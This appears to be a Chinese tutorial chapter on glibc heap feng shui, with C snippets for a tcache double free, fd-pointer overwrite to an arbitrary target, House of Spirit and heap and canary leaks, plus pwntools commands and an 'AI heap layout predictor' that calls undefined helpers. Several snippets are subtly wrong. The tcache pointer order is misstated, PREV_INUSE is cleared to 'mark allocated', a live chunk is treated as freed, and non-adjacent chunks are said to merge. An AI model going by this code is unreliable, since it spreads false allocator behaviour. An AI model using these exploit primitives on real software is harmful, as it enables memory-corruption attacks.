11：堆风水与高级内存布局技术

// 堆块结构（32位系统）
struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* 前一个块的大小（如果前一个块是空闲的） */
  INTERNAL_SIZE_T      size;       /* 块的大小，包含标志位 */
  struct malloc_chunk* fd;         /* 空闲块链表的前向指针 */
  struct malloc_chunk* bk;         /* 空闲块链表的后向指针 */
  struct malloc_chunk* fd_nextsize; /* 大空闲块的前向指针 */
  struct malloc_chunk* bk_nextsize; /* 大空闲块的后向指针 */
};

// 快速分配流程
void* fastbin_alloc(size_t size) {
  // 计算大小类索引
  int idx = fastbin_index(size);
  
  // 检查fast bin是否为空
  if (fastbin[idx] != NULL) {
    // 取出第一个块
    chunk = fastbin[idx];
    
    // 更新fast bin指针
    fastbin[idx] = chunk->fd;
    
    // 标记块为已分配
    chunk->size &= ~PREV_INUSE;
    
    return chunk;
  }
  
  // 快速分配失败，尝试其他分配策略
  return NULL;
}

// 基本堆风水操作
void heap_feng_shui() {
  // 分配多个块
  char* p1 = malloc(0x10);
  char* p2 = malloc(0x10);
  char* p3 = malloc(0x10);
  
  // 释放中间块，创建空闲块
  free(p2);
  
  // 分配与空闲块大小相同的块，可能会复用空闲块
  char* p4 = malloc(0x10);
  
  // 此时p4可能指向原来的p2位置
}

// 大小类利用
void size_class_exploit() {
  // 分配不同大小类的块
  char* p1 = malloc(0x18);  // fastbin
  char* p2 = malloc(0x80);  // small bin
  char* p3 = malloc(0x400); // large bin
  
  // 释放块，进入不同的bin
  free(p1);  // 进入fastbin
  free(p2);  // 进入small bin
  free(p3);  // 进入large bin
  
  // 根据不同bin的特性进行利用
  // ...
}

// 块布局操纵
void chunk_layout_manipulation() {
  // 分配多个块，创建特定的布局
  char* p1 = malloc(0x10);
  char* p2 = malloc(0x10);
  char* p3 = malloc(0x10);
  
  // 释放p1和p3，留下p2
  free(p1);
  free(p3);
  
  // 分配一个更大的块，可能会合并p1和p3
  char* p4 = malloc(0x30);
  
  // 此时p4可能覆盖p1和p3的位置
}

// 堆地址泄露
void leak_heap_address() {
  // 分配块
  char* p = malloc(0x10);
  
  // 假设存在UAF漏洞，可以读取已释放块的fd指针
  // fd指针指向堆中的其他块，从而泄露堆地址
  printf("Heap address: %p\n", *((void**)p));
}

// Canary泄露
void leak_canary() {
  // 假设存在信息泄露漏洞，可以读取堆块的Canary值
  char* p = malloc(0x100);
  
  // 读取Canary值
  unsigned long canary = *((unsigned long*)(p - 8));
  printf("Canary: 0x%lx\n", canary);
}

// 利用tcache双释放
void tcache_double_free() {
  // 分配块
  char* p1 = malloc(0x10);
  char* p2 = malloc(0x10);
  
  // 释放p1，进入tcache
  free(p1);
  
  // 释放p2，进入tcache
  free(p2);
  
  // 再次释放p1，可能绕过Double Free Protection
  free(p1);
  
  // 分配三个块，p3和p4指向p1，p5指向p2
  char* p3 = malloc(0x10);
  char* p4 = malloc(0x10);
  char* p5 = malloc(0x10);
  
  // 此时p3和p4都指向p1的位置，可以进行进一步利用
}

// 堆块大小修改
void size_field_exploit() {
  // 分配两个相邻块
  char* p1 = malloc(0x10);
  char* p2 = malloc(0x10);
  
  // 释放p1
  free(p1);
  
  // 修改p1的大小字段，扩大块的范围
  *((size_t*)p1) = 0x30;  // 包括p1和p2
  
  // 分配一个大块，可能会合并p1和p2
  char* p3 = malloc(0x20);
  
  // 此时p3可能覆盖p1和p2的位置
}

// 空闲块链表指针修改
void fd_bk_exploit() {
  // 分配块
  char* p1 = malloc(0x10);
  char* p2 = malloc(0x10);
  
  // 释放p1，进入tcache
  free(p1);
  
  // 修改p1的fd指针，指向目标地址
  *((void**)p1) = target_address;
  
  // 分配块，可能会在目标地址附近分配内存
  char* p3 = malloc(0x10);
  char* p4 = malloc(0x10);  // p4可能指向target_address
  
  // 此时可以通过p4修改target_address处的内容
}

// House of Spirit攻击
void house_of_spirit() {
  // 伪造堆块
  char buf[0x20];
  
  // 伪造prev_size和size字段
  *((size_t*)(buf)) = 0;           // prev_size
  *((size_t*)(buf + 8)) = 0x20;     // size，包含PREV_INUSE标志
  
  // 释放伪造的块（假设存在漏洞允许释放任意地址）
  free(buf + 8);
  
  // 分配块，可能会在伪造的块位置分配内存
  char* p = malloc(0x18);
  
  // 此时p可能指向buf + 8，可以修改buf的内容
}

# 使用pwntools进行堆操作
from pwn import *

# 连接目标程序
p = process('./vulnerable')

# 分配块
p.sendline(b'malloc 0x10')
p.recvuntil(b'> ')

# 释放块
p.sendline(b'free 0')
p.recvuntil(b'> ')

# 查看堆布局
p.sendline(b'heap')
p.recvuntil(b'> ')

# AI辅助堆布局预测
import tensorflow as tf

# 加载预训练模型
model = tf.keras.models.load_model('heap_layout_predictor.h5')

# 提取堆状态特征
heap_state = extract_heap_state()

# 预测堆布局
predicted_layout = model.predict(heap_state)

# 根据预测结果调整堆风水策略
adjust_feng_shui_strategy(predicted_layout)

# 查看堆布局
heap

# 查看堆块信息
heap_chunk <address>

# 查看bin信息
bins

# 查看tcache信息
tcache

# 分配块
p.sendline(b'malloc <size>')

# 释放块
p.sendline(b'free <index>')

# 填充块
p.sendline(b'fill <index> <size> <byte>')

# 查看块内容
p.sendline(b'dump <index>')